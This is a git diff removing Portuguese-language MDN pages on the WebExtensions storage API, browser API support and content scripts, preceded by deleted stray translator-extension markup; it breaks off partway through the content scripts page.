-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" class="hidden"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style=""> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style=""> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detect language</option><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="am">Amharic</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="be">Belarusian</option><option value="bn">Bengali</option><option value="bs">Bosnian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinese (Simplified)</option><option value="zh-TW">Chinese (Traditional)</option><option value="co">Corsican</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="fy">Frisian</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="ha">Hausa</option><option value="haw">Hawaiian</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="ig">Igbo</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="jw">Javanese</option><option value="kn">Kannada</option><option value="kk">Kazakh</option><option value="km">Khmer</option><option value="ko">Korean</option><option value="ku">Kurdish</option><option value="ky">Kyrgyz</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="lb">Luxembourgish</option><option value="mk">Macedonian</option><option value="mg">Malagasy</option><option value="ms">Malay</option><option value="ml">Malayalam</option><option value="mt">Maltese</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongolian</option><option value="my">Myanmar (Burmese)</option><option value="ne">Nepali</option><option value="no">Norwegian</option><option value="ps">Pashto</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="pa">Punjabi</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sm">Samoan</option><option value="gd">Scots Gaelic</option><option value="sr">Serbian</option><option value="st">Sesotho</option><option value="sn">Shona</option><option value="sd">Sindhi</option><option value="si">Sinhala</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="so">Somali</option><option value="es">Spanish</option><option value="su">Sundanese</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="tg">Tajik</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="uz">Uzbek</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="xh">Xhosa</option><option value="yi">Yiddish</option><option value="yo">Yoruba</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="" title="Switch languages"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="am">Amharic</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="be">Belarusian</option><option value="bn">Bengali</option><option value="bs">Bosnian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinese (Simplified)</option><option value="zh-TW">Chinese (Traditional)</option><option value="co">Corsican</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="fy">Frisian</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="ha">Hausa</option><option value="haw">Hawaiian</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="ig">Igbo</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="jw">Javanese</option><option value="kn">Kannada</option><option value="kk">Kazakh</option><option value="km">Khmer</option><option value="ko">Korean</option><option value="ku">Kurdish</option><option value="ky">Kyrgyz</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="lb">Luxembourgish</option><option value="mk">Macedonian</option><option value="mg">Malagasy</option><option value="ms">Malay</option><option value="ml">Malayalam</option><option value="mt">Maltese</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongolian</option><option value="my">Myanmar (Burmese)</option><option value="ne">Nepali</option><option value="no">Norwegian</option><option value="ps">Pashto</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="pa">Punjabi</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sm">Samoan</option><option value="gd">Scots Gaelic</option><option value="sr">Serbian</option><option value="st">Sesotho</option><option value="sn">Shona</option><option value="sd">Sindhi</option><option value="si">Sinhala</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="so">Somali</option><option selected value="es">Spanish</option><option value="su">Sundanese</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="tg">Tajik</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="uz">Uzbek</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="xh">Xhosa</option><option value="yi">Yiddish</option><option value="yo">Yoruba</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td"> </td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="" title="English"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="" title="Copy translation"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="" title="Font size"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="" title="Help"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="" title="Pin pop-up bubble"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style=""> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">Text-to-speech function is limited to 200 characters</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255);">
-<div id="SL_arrow_down" style=""> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="" title="Show Translator's button 3 second(s)"> </div>
- </td>
- <td><a class="SL_options" title="Show options">Options</a> : <a class="SL_options" title="Translation History">History</a> : <a class="SL_options" title="ImTranslator Feedback">Feedback</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Make a small contribution">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Close">Close</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/storage/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/storage/index.html
deleted file mode 100644
index f4551690f3..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/api/storage/index.html
+++ /dev/null
@@ -1,106 +0,0 @@
----
-title: Armazenamento
-slug: Mozilla/Add-ons/WebExtensions/API/storage
-tags:
- - API
- - Armazenamento
- - Extensões
- - Extensões da Web
- - Extras
- - Interface
- - Não Padrão
- - Referencia
-translation_of: Mozilla/Add-ons/WebExtensions/API/storage
-original_slug: Mozilla/Add-ons/WebExtensions/API/Armazenamento
----
-<div>{{AddonSidebar}}</div>
-
-<p>Permite que as extensões armazenem e recuperem dados, e escutem as alterações aos itens armazenados.</p>
-
-<p>O sistema de armazenamento é baseado na <a href="/pt-PT/docs/Web/API/API_de_Armazenamento_da_Web">API de Armazenamento da Web</a>, com algumas diferenças. Entre outras diferençãs, estas incluem:</p>
-
-<ul>
- <li>It's asynchronous.</li>
- <li>Values are scoped to the extension, not to a specific domain (i.e. the same set of key/value pairs are available to all scripts in the background context and content scripts).</li>
- <li>The values stored can be any JSON-ifiable value, not just <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>. Among other things, this includes: <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code> and <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code>, but only when their contents can can be represented as JSON, which does not include DOM nodes. You don't need to convert your values to JSON <code>Strings</code> prior to storing them, but they are represented as JSON internally, thus the requirement that they be JSON-ifiable.</li>
- <li>Multiple key/value pairs can be set or retrieved in the same API call.</li>
-</ul>
-
-<p>To use this API you need to include the "storage" <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permission</a> in your <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a> file.</p>
-
-<p>Each extension has its own storage area, which can be split into different types of storage.</p>
-
-<p>Although this API is similar to {{domxref("Window.localStorage")}} it is recommended that you don't use <code>Window.localStorage</code> in the extension code to store extension-related data. Firefox will clear data stored by extensions using the localStorage API in various scenarios where users clear their browsing history and data for privacy reasons, while data saved using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage/local">storage.local</a></code> API will be correctly persisted in these scenarios.</p>
-
-<h2 id="Tipos">Tipos</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("storage.StorageArea")}}</dt>
- <dd>An object representing a storage area.</dd>
- <dt>{{WebExtAPIRef("storage.StorageChange")}}</dt>
- <dd>An object representing a change to a storage area.</dd>
-</dl>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<p><code>storage</code> has three properties, which represent the different types of available storage area.</p>
-
-<dl>
- <dt>{{WebExtAPIRef("storage.sync")}}</dt>
- <dd>Represents the <code>sync</code> storage area. Items in <code>sync</code> storage are synced by the browser, and are available across all instances of that browser that the user is logged into, across different devices.</dd>
- <dt>{{WebExtAPIRef("storage.local")}}</dt>
- <dd>Represents the <code>local</code> storage area. Items in <code>local</code> storage are local to the machine the extension was installed on.</dd>
- <dt>{{WebExtAPIRef("storage.managed")}}</dt>
- <dd>Represents the <code>managed</code> storage area. Items in <code>managed</code> storage are set by the domain administrator and are read-only for the extension. Trying to modify this namespace results in an error.</dd>
-</dl>
-
-<h2 id="Eventos">Eventos</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("storage.onChanged")}}</dt>
- <dd>Fired when one or more items change in a storage area.</dd>
-</dl>
-
-<h2 id="Compatibilidade_do_navegador">Compatibilidade do navegador</h2>
-
-<p>{{Compat("webextensions.api.storage")}}</p>
-
-<p>{{WebExtExamples("h2")}}</p>
-
-<div class="note"><strong>Reconehcimentos</strong>
-
-<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/storage"><code>chrome.storage</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/storage.json"><code>storage.json</code></a> in the Chromium code.</p>
-
-<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
-</div>
-
-<div class="hidden">
-<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without
-// modification, are permitted provided that the following conditions are
-// met:
-//
-// * Redistributions of source code must retain the above copyright
-// notice, this list of conditions and the following disclaimer.
-// * Redistributions in binary form must reproduce the above
-// copyright notice, this list of conditions and the following disclaimer
-// in the documentation and/or other materials provided with the
-// distribution.
-// * Neither the name of Google Inc. nor the names of its
-// contributors may be used to endorse or promote products derived from
-// this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-</pre>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html b/files/pt-pt/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html
deleted file mode 100644
index 4f5f3b176e..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: Suporte de navegador para as APIs de JavaScript
-slug: Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs
-tags:
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs
-original_slug: Mozilla/Add-ons/WebExtensions/Suporte_navegador_APIs_JavaScript
----
-<div>{{AddonSidebar}}</div>
-
-<p>{{WebExtAllCompatTables}}</p>
-
-<div>A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se quiser contribuir para os dados, verifique por favor, consulte https://github.com/mdn/browser-compat-data e envie-nos um pedido de submissão.</div>
-
-<div> </div>
-
-<div class="note"><strong>Agradecimentos</strong>
-
-<p>Os dados de compatibilidade do Microsoft Edge são fornecidos pela Corporação Microsoft e estão incluídos aqui sob a Licença de Creative Commons Attribution 3.0 - Estado Unidos.</p>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/content_scripts/index.html b/files/pt-pt/mozilla/add-ons/webextensions/content_scripts/index.html
deleted file mode 100644
index 13daea5bbf..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/content_scripts/index.html
+++ /dev/null
@@ -1,447 +0,0 @@
----
-title: Scripts de Conteúdo
-slug: Mozilla/Add-ons/WebExtensions/Content_scripts
-tags:
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/Content_scripts
-original_slug: Mozilla/Add-ons/WebExtensions/Scripts_Conteudo
----
-<div>{{AddonSidebar}}</div>
-
-<p>Um <em>script</em> de conteúdo é uma parte da sua extensão que é executada no contexto de uma determinada página da Web (em oposição aos <em>scripts</em> de segundo plano que são parte da própria extensão, ou <em>scripts</em> que são parte do próprio site da Web, tal como aqueles carregados utilizando o {{HTMLElement("script")}} elemento.</p>
-
-<p><a href="/en-US/Add-ons/WebExtensions/Background_scripts">Background scripts</a> can access all the <a href="/en-US/Add-ons/WebExtensions/API">WebExtension JavaScript APIs</a>, but they can't directly access the content of web pages. So if your extension needs to do that, you need content scripts.</p>
-
-<p>Just like the scripts loaded by normal web pages, content scripts can read and modify the content of their pages using the standard DOM APIs.</p>
-
-<p>Content scripts can only access <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#WebExtension_APIs">a small subset of the WebExtension APIs</a>, but they can <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#Communicating_with_background_scripts">communicate with background scripts</a> using a messaging system, and thereby indirectly access the WebExtension APIs.</p>
-
-<div class="note">
-<p>Note that content scripts are blocked on the following domains: accounts-static.cdn.mozilla.net, accounts.firefox.com, addons.cdn.mozilla.net, addons.mozilla.org, api.accounts.firefox.com, content.cdn.mozilla.net, content.cdn.mozilla.net, discovery.addons.mozilla.org, input.mozilla.org, install.mozilla.org, oauth.accounts.firefox.com, profile.accounts.firefox.com, support.mozilla.org, sync.services.mozilla.com, and testpilot.firefox.com. If you try to inject a content script into a page in these domains, it will fail and the page will log a <a href="/en-US/docs/Web/HTTP/CSP">CSP</a> error.</p>
-
-<p>As these restrictions include addons.mozilla.org, users may attempt to use your extension immediately after installation and find it doesn't work. You may want to add an appropriate warning or an <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/onboarding_upboarding_offboarding_best_practices">onboarding page</a> that moves users away from addons.mozilla.org.</p>
-</div>
-
-<div class="note">
-<p>Values added to the global scope of a content script with <code>var foo</code> or <code>window.foo = "bar"</code> may disappear due to bug <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1408996">1408996</a>.</p>
-</div>
-
-<h2 id="Carregar_scripts_de_conteúdo">Carregar <em>scripts</em> de conteúdo</h2>
-
-<p>You can load a content script into a web page in one of three ways:</p>
-
-<ol>
- <li><strong>at install time, into pages that match URL patterns:</strong> using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code> key in your manifest.json, you can ask the browser to load a content script whenever the browser loads a page whose URL <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Match_patterns">matches a given pattern</a>.</li>
- <li><strong>at runtime, into pages that match URL patterns:</strong> using the {{WebExtAPIRef("contentScripts")}} API, you can ask the browser to load a content script whenever the browser loads a page whose URL <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Match_patterns">matches a given pattern</a>. This is just like method (1), except you can add and remove content scripts at runtime.</li>
- <li><strong>at runtime, into specific tabs:</strong> using the <code><a href="/en-US/Add-ons/WebExtensions/API/Tabs/executeScript">tabs.executeScript()</a></code> API, you can load a content script into a specific tab whenever you want: for example, in response to the user clicking on a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_action">browser action</a>.</li>
-</ol>
-
-<p>There is only one global scope per frame per extension, so variables from one content script can directly be accessed by another content script, regardless of how the content script was loaded.</p>
-
-<p>Using methods (1) and (2) you can only load scripts into pages whose URLs can be represented using a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns">match pattern</a>. Using method (3), you can also load scripts into pages packaged with your extension, but you can't load scripts into privileged browser pages like "about:debugging" or "about:addons".</p>
-
-<h2 id="Ambiente_de_script_de_conteúdo">Ambiente de <em>script</em> de conteúdo</h2>
-
-<h3 id="Acesso_DOM">Acesso DOM</h3>
-
-<p>Content scripts can access and modify the page's DOM, just like normal page scripts can. They can also see any changes that were made to the DOM by page scripts.</p>
-
-<p>However, content scripts get a "clean view of the DOM". This means:</p>
-
-<ul>
- <li>content scripts cannot see JavaScript variables defined by page scripts</li>
- <li>if a page script redefines a built-in DOM property, the content script will see the original version of the property, not the redefined version.</li>
-</ul>
-
-<p>In Firefox, this behavior is called <a href="/en-US/docs/Xray_vision">Xray vision</a>.</p>
-
-<p>For example, consider a web page like this:</p>
-
-<pre class="brush: html">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;meta http-equiv="content-type" content="text/html; charset=utf-8" /&gt;
- &lt;/head&gt;
-
- &lt;body&gt;
- &lt;script src="page-scripts/page-script.js"&gt;&lt;/script&gt;
- &lt;/body&gt;
-&lt;/html&gt;</pre>
-
-<p>The script "page-script.js" does this:</p>
-
-<pre class="brush: js">// page-script.js
-
-// add a new element to the DOM
-var p = document.createElement("p");
-p.textContent = "This paragraph was added by a page script.";
-p.setAttribute("id", "page-script-para");
-document.body.appendChild(p);
-
-// define a new property on the window
-window.foo = "This global variable was added by a page script";
-
-// redefine the built-in window.confirm() function
-window.confirm = function() {
- alert("The page script has also redefined 'confirm'");
-}</pre>
-
-<p>Now an extension injects a content script into the page:</p>
-
-<pre class="brush: js">// content-script.js
-
-// can access and modify the DOM
-var pageScriptPara = document.getElementById("page-script-para");
-pageScriptPara.style.backgroundColor = "blue";
-
-// can't see page-script-added properties
-console.log(window.foo); // undefined
-
-// sees the original form of redefined properties
-window.confirm("Are you sure?"); // calls the original window.confirm()</pre>
-
-<p>The same is true in reverse: page scripts can't see JavaScript properties added by content scripts.</p>
-
-<p>All this means that the content script can rely on DOM properties behaving predictably, and doesn't have to worry about variables it defines clashing with variables defined in the page script.</p>
-
-<p>One practical consequence of this behavior is that a content script won't have access to any JavaScript libraries loaded by the page. So for example, if the page includes jQuery, the content script won't be able to see it.</p>
-
-<p>If a content script does want to use a JavaScript library, then the library itself should be injected as a content script alongside the content script that wants to use it:</p>
-
-<pre class="brush: json">"content_scripts": [
- {
- "matches": ["*://*.mozilla.org/*"],
- "js": ["jquery.js", "content-script.js"]
- }
-]</pre>
-
-<p>Note that Firefox provides some APIs that enable content scripts to access JavaScript objects created by page scripts and to expose their own JavaScript objects to page scripts. See <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Sharing_objects_with_page_scripts">Sharing objects with page scripts</a> for more details.</p>
-
-<h3 id="APIs_da_Extensão_da_Web">APIs da Extensão da Web</h3>
-
-<p>In addition to the standard DOM APIs, content scripts can use the following WebExtension APIs:</p>
-
-<p>From <code><a href="/en-US/Add-ons/WebExtensions/API/extension">extension</a></code>:</p>
-
-<ul>
- <li><code><a href="/en-US/Add-ons/WebExtensions/API/extension#getURL()">getURL()</a></code></li>
- <li><code><a href="/en-US/Add-ons/WebExtensions/API/extension#inIncognitoContext">inIncognitoContext</a></code></li>
-</ul>
-
-<p>From <code><a href="/en-US/Add-ons/WebExtensions/API/runtime">runtime</a></code>:</p>
-
-<ul>
- <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#connect()">connect()</a></code></li>
- <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#getManifest()">getManifest()</a></code></li>
- <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#getURL()">getURL()</a></code></li>
- <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#onConnect">onConnect</a></code></li>
- <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#onMessage">onMessage</a></code></li>
- <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#sendMessage()">sendMessage()</a></code></li>
-</ul>
-
-<p>From <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n">i18n</a></code>:</p>
-
-<ul>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/getMessage">getMessage()</a></code></li>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/getAcceptLanguages">getAcceptLanguages()</a></code></li>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/getUILanguage">getUILanguage()</a></code></li>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/detectLanguage">detectLanguage()</a></code></li>
-</ul>
-
-<p>From <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/menus">menus</a></code>:</p>
-
-<ul>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/menus/getTargetElement">getTargetElement</a></code></li>
-</ul>
-
-<p>Everything from <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage">storage</a></code>.</p>
-
-<h3 id="XHR_e_Fetch">XHR e <em>Fetch</em></h3>
-
-<p>Content scripts can make requests using the normal <code><a href="/en-US/docs/Web/API/XMLHttpRequest">window.XMLHttpRequest</a></code> and <code><a href="/en-US/docs/Web/API/Fetch_API">window.fetch()</a></code> APIs.</p>
-
-<p>Content scripts get the same cross-domain privileges as the rest of the extension: so if the extension has requested cross-domain access for a domain using the <code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code> key in manifest.json, then its content scripts get access that domain as well.</p>
-
-<p>This is accomplished by exposing more privileged XHR and fetch instances in the content script, which has the side-effect of not setting the <code><a href="/en-US/docs/Web/HTTP/Headers/Origin">Origin</a></code> and <code><a href="/en-US/docs/Web/HTTP/Headers/Referer">Referer</a></code> headers like a request from the page itself would, this is often preferable to prevent the request from revealing its cross-orign nature. From version 58 onwards extensions that need to perform requests that behave as if they were sent by the content itself can use  <code>content.XMLHttpRequest</code> and <code>content.fetch()</code> instead. For cross-browser extensions their presence must be feature-detected.</p>
-
-<h2 id="Comunicar_com_scripts_de_segundo_plano">Comunicar com <em>scripts</em> de segundo plano</h2>
-
-<p>Although content scripts can't directly use most of the WebExtension APIs, they can communicate with the extension's background scripts using the messaging APIs, and can therefore indirectly access all the same APIs that the background scripts can.</p>
-
-<p>There are two basic patterns for communicating between the background scripts and content scripts: you can send one-off messages, with an optional response, or you can set up a longer-lived connection between the two sides, and use that connection to exchange messages.</p>
-
-<h3 id="One-off_messages">One-off messages</h3>
-
-<p>To send one-off messages, with an optional response, you can use the following APIs:</p>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="row"></th>
- <th scope="col">In content script</th>
- <th scope="col">In background script</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <th scope="row">Send a message</th>
- <td><code><a href="/en-US/Add-ons/WebExtensions/API/runtime/sendMessage">browser.runtime.sendMessage()</a></code></td>
- <td><code><a href="/en-US/Add-ons/WebExtensions/API/Tabs/sendMessage">browser.tabs.sendMessage()</a></code></td>
- </tr>
- <tr>
- <th scope="row">Receive a message</th>
- <td><code><a href="/en-US/Add-ons/WebExtensions/API/runtime/onMessage">browser.runtime.onMessage</a></code></td>
- <td><code><a href="/en-US/Add-ons/WebExtensions/API/runtime/onMessage">browser.runtime.onMessage</a></code></td>
- </tr>
- </tbody>
-</table>
-
-<p>For example, here's a content script which listens for click events in the web page. If the click was on a link, it messages the background page with the target URL:</p>
-
-<pre class="brush: js">// content-script.js
-
-window.addEventListener("click", notifyExtension);
-
-function notifyExtension(e) {
- if (e.target.tagName != "A") {
- return;
- }
- browser.runtime.sendMessage({"url": e.target.href});
-}</pre>
-
-<p>The background script listens for these messages and displays a notification using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/notifications">notifications</a></code> API:</p>
-
-<pre class="brush: js">// background-script.js
-
-browser.runtime.onMessage.addListener(notify);
-
-function notify(message) {
- browser.notifications.create({
- "type": "basic",
- "iconUrl": browser.extension.getURL("link.png"),
- "title": "You clicked a link!",
- "message": message.url
- });
-}
-</pre>
-
-<p>This example code is lightly adapted from the <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> example on GitHub.</p>
-
-<h3 id="Connection-based_messaging">Connection-based messaging</h3>
-
-<p>Sending one-off messages can get cumbersome if you are exchanging a lot of messages between a background script and a content script. So an alternative pattern is to establish a longer-lived connection between the two contexts, and use this connection to exchange messages.</p>
-
-<p>Each side has a <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/Port">runtime.Port</a></code> object, which they can use to exchange messages.</p>
-
-<p>To create the connection:</p>
-
-<ul>
- <li>one side listens for connections using <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onConnect">runtime.onConnect</a></code></li>
- <li>the other side calls either <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/connect">tabs.connect()</a></code> (if connecting to a content script) or <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/connect">runtime.connect()</a></code> (if connecting to a background script). This returns a <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/Port">runtime.Port</a></code> object.</li>
- <li>the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onConnect">runtime.onConnect</a></code> listener gets passed its own <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/Port">runtime.Port</a></code> object.</li>
-</ul>
-
-<p>Once each side has a port, the two sides can exchange messages using <code>runtime.Port.postMessage()</code> to send a message, and <code>runtime.Port.onMessage</code> to receive messages.</p>
-
-<p>For example, as soon as it loads, this content script:</p>
-
-<ul>
- <li>connects to the background script, and stores the <code>Port</code> in a variable <code>myPort</code></li>
- <li>listens for messages on <code>myPort</code>, and logs them</li>
- <li>sends messages to the background script, using <code>myPort</code>, when the user clicks the document</li>
-</ul>
-
-<pre class="brush: js">// content-script.js
-
-var myPort = browser.runtime.connect({name:"port-from-cs"});
-myPort.postMessage({greeting: "hello from content script"});
-
-myPort.onMessage.addListener(function(m) {
- console.log("In content script, received message from background script: ");
- console.log(m.greeting);
-});
-
-document.body.addEventListener("click", function() {
- myPort.postMessage({greeting: "they clicked the page!"});
-});</pre>
-
-<p>The corresponding background script:</p>
-
-<ul>
- <li>listens for connection attempts from the content script</li>
- <li>when it receives a connection attempt:
- <ul>
